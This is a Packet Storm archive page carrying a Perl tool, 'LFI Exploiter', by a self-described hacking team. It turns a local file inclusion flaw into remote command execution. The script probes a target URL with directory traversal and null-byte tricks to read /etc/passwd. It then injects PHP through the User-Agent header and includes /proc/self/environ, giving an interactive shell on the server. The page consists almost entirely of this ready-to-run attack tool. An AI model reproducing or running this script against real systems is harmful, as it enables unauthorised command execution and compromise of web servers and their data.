what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

LFI Exploiter

LFI Exploiter
Posted Sep 26, 2012
Authored by M.R.S.CO

This perl script leverages /proc/self/environ to attempt getting code execution out of a local file inclusion vulnerability.

tags | tool, local, perl, code execution, file inclusion
systems | unix
SHA-256 | bd77eecfb380be0b2302b89fd25fafe9ee987dadd671f7e40d057f74b0ce0ade

LFI Exploiter

Change Mirror Download


LFI TO RCE....

LFI Expl0iter (ver : beta)



http://mrsco.persiangig.com/perl/LFI%20ExplOiter.pl



#Iranian Dark Coders Team
#WwW.IDC-TeaM.NeT
#Coded BY M.R.S.CO 
#We Are : M.R.S.CO , N3O , G3n3Rall , Nafsh , HijaX
#Friends : b3hz4d , IrIsT , Mr.Xpr , BlacK.King 
#LFI ExplOiter
#ver : beta
#author : Iranian_Dark_Coders_Team
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); 
print q (
         ------------------------------
         |  Iranian Dark Coders Team  |
         ------------------------------
         |      WwW.IDC-TeaM.NeT      |
         ------------------------------
         |     Coded BY M.R.S.CO      |
         ------------------------------
);
use LWP::UserAgent;
use LWP::Simple;
$ua = LWP::UserAgent ->new;
$ua->timeout(30);

print "\n\t Enter Target [Example:http://site.il/idc.php?id=]";
print "\n\n \t Enter Target : ";
$Target=<STDIN>;
chomp($Target);
$tf=1;
print "\n\n\t\tprocessing ...\n";
$t=0;
while($tf==1)
{
  $t=$t+1;
  if ($t==25){print "Passwd Not Found!!"; exit();}
  $dot=$dot . "../";
  $source=get $Target . $dot . "etc/passwd";
  $source2=get $Target .$dot . "etc/passwd%00";
  
  if (($source =~ m/:root:/i || $source =~ m/:x:/i || $source =~ m/:0:/i))
  {
     $u="";
     $tf=2;
  }
 if (($source2 =~ m/:root:/i || $source2 =~ m/:x:/i || $source2 =~ m/:0:/i))
  {
     $u="%00";
     $tf=2;
  }
  
}
$ua->agent('<?php echo "IDC"; ?>');
$response=$ua->get($Target . $dot . "proc/self/environ" . $u);
if ($response->decoded_content =~ "IDC")
{
while($cmd=="exit")
{
print "\n\nEnter Your Command : ";

$cmd=<STDIN>;
chomp($cmd);

$ua->agent('<?php echo "\n\n\nidc-team"; system("' . $cmd . '"); echo "mrsco\n\n\n"; ?>');
$response=$ua->get($Target . $dot . "proc/self/environ" . $u);

$between=substr($response->decoded_content,  index($response->decoded_content, 'idc-team')+8,  index($response->decoded_content, 'mrsco') -  index($response->decoded_content, 'idc-team')-8);
print "\n". $between;
}}else{ print "\n\t\tDont Injectable";}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    0 Files
  • 3
    May 3rd
    0 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close